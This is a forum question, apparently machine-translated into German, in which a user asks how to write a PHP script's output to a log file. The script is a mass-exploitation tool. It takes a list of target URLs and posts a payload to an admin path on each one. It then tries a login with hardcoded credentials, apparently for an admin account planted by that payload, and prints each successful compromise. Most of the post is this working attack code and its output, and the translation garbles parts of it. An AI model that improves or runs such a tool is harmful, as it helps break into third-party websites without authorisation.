ich einige PHP-Skript zum Scannen Fehler machen, aber ich habe einige porblem, wenn versuchen, Ergebnisse zu speichern txt oder log-Datei einiges Formel hat versucht, aber gutkönnen Sie mir sagen, wie die Ausgabe speichern
hat nicht funktioniert hier ist der Code
error_reporting(0);
$get=file_get_contents($argv[1])
or die("
\n\tError !
\n\tusage => php scan.php list.txt\n\n");
$j=explode("\r\n",$get);
foreach($j as $url){
print "\n\n\t[+] Exploiting => ".$url;
$dirnya = "/login/secure/adm";
$postdata = 'check=blalalalalalal';
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url.$dirnya);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = 'Accept-Encoding: gzip, deflate';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
curl_close($ch);
#Exploitasi berhasil dan memulai cek Login setelah exploitasi
if(preg_match('#200 OK#', $result)) {
print "\n\t[+] Exploiting Success, mulai mengecek login..";
$loginpage = $url."/adm";
$logindata = 'key=3ryAIBlm7bJ3naj9&login%5Badm_usr%5D=memek&login%5Badm_pswd%5D=memeklegit';
$hydra_ch = curl_init();
curl_setopt ($hydra_ch, CURLOPT_URL, $loginpage);
curl_setopt ($hydra_ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($hydra_ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($hydra_ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($hydra_ch, CURLOPT_POSTFIELDS, $logindata);
curl_setopt ($hydra_ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = 'Accept-Encoding: gzip, deflate';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
curl_setopt ($hydra_ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($hydra_ch, CURLOPT_HEADER, 1);
$hasil = curl_exec ($hydra_ch);
curl_close($hydra_ch);
if(preg_match('#302 Moved#', $hasil)) {
dieser Teil des Codes ist
print "\n\t[+] Login Success ! \n\t[+] user => memek \n\t[+] password => memekbau";
print "\n\t[-] Login Page => ".$loginpage;
}
else {
#Exploitasi berhasil dan namun admin user tidak masuk ke database.
print "\n\t[-] Login Failed :(";
print "\n\t[-] Keterangan : admin user tidak masuk.\n";}
}else {
#Exploitasi gagal total
print "\n\t[-] Exploitasi Failed :(\n ";}
}
und diese Ausgabe ist, wenn Sie Skript
laufen[+] Exploiting => localhost
[+] Exploiting Success, mulai mengecek login..
[+] Login Success !
[+] user => memek
[+] password => memekbau
[-] Login Page => localhost/adm
meine Frage, wie man diese Ausgabe in die Datei txt oder log speichert?
Danke
das Problem Ihr Code sammeln alle Inhalte, die ich brauche nur Inhalt mit "[+] Login Erfolg!" – ronald
Hallo jemand zu Hause ??? – ronald